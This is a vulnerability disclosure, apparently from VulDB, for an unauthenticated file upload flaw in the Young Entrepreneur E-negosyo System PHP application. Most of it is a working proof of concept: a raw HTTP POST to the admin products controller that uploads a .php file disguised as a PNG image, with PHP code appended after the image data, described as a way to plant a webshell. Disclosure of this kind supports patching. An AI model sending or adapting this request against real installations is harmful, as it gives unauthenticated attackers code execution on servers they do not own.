Submit #107314: Young Entrepreneur E-negosyo System getShell

Young Entrepreneur E-negosyo System has an arbitrary file upload vulnerability.Remote and Unauthenticated attackers can upload malicious webshell through products add function.Attackers can write webshell in a image file to bypass the verification.
This operation could be performed without login.
POC below:
POST /bsenordering/admin/products/controller.php?action=add HTTP/1.1
*******************************************************************
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="OWNERNAME"

123
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="OWNERPHONE"

123
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="PRODESC"

123
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="CATEGORY"

3
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="ORIGINALPRICE"

123
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="PROPRICE"

123
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="PROQTY"

123
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="image"; filename="2223.php"
Content-Type: image/png

?PNG


IHDR ? / ]Np{
sRGB ??? gAMA ???a pHYs t t
?fx ?IDATx^???Ki??O????????$j?Ay!?HB
??E7V????n???T/??:??-???l$LNaKl?$?=mJ?b????????:o??3????????????g???>??g?! 4￢-??@K >???￢-??@K >???￢-??@K >???￢-??@K >???￢-??@K >?O￢???Qff&P]]?q?JFF??K?cN??3|_???I}?M?>O￢??,*8????n??!??|_???I}?M?>G?KKK￥?&63?`??x"v???%?????￢￢bjmm?H????????????????(;;????irrRWs???(77????(??Z?-QQ??uT￣cf????xR_?|??????{????i??##B[[??.????4"v???o??.???k???s???1&&?????t?￠A>~?Vff,??p[_?_??I???????1????=???￣??￡v?]????B??b1Z??---Ft????I???_K.3<?￡5&&&??
????K????/￤????}????nTTTP$I?+b???????lp?~9fB"?????G??x???0<
?V4J￡((^n?TS￢???D?{z???￡?>??gb????IJ??+?￤w{>~￡???????????f?￣p8LMMMr??????????n????N|????g???C?hp?>???)???n??#!??J???~?n8 ???./#???I??pZ????N￤?_??????y?quu5??]fQ??[[[???`????￤O?￡c??????E?????$?E|qv????c???￡?V?D?*??????(v"?_?*>??\w???S<7?ZI?g???￥MT??NOO?R?w?{??
,6?7\
,?|IO?^???t?fn??}?R?/Q??76d)2~??!zr￥
?v?}????~???x??8!?N?3v??x￢1:￢(????????]???????)//??????Z????&/++???,jll?YQZ??1???g???
????u????2,?￣??￢???￥9#￢]}??￡?￢??tO?r??<IkssFD?W?￢~??=,?ze+?￣??pZ?c?????OG<??￠?#Q?"??????G?G??S????~
???P5???Dy???={(x?????????H%??@|?%h ?Z???@|?%h ?Z???@|?%h ?Z???@|?%h ?Z???@|?!D???3?w? IEND?B`?
<?php phpinfo(); ?>
------WebKitFormBoundaryBNSlZEcV1gYZaMSF
Content-Disposition: form-data; name="save"

------WebKitFormBoundaryBNSlZEcV1gYZaMSF--

• Quelle: ⚠️ https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
• Benutzer: WWesleywww (UID 43117)
• Einreichung: 29.03.2023 13:22 (vor 3 Jahren)
• Moderieren: 30.03.2023 20:51 (1 day later)
• Status: Akzeptiert
• VulDB Eintrag: 224622 [SourceCodester Young Entrepreneur E-Negosyo System 1.0 controller.php?action=add image erweiterte Rechte]
• Punkte: 20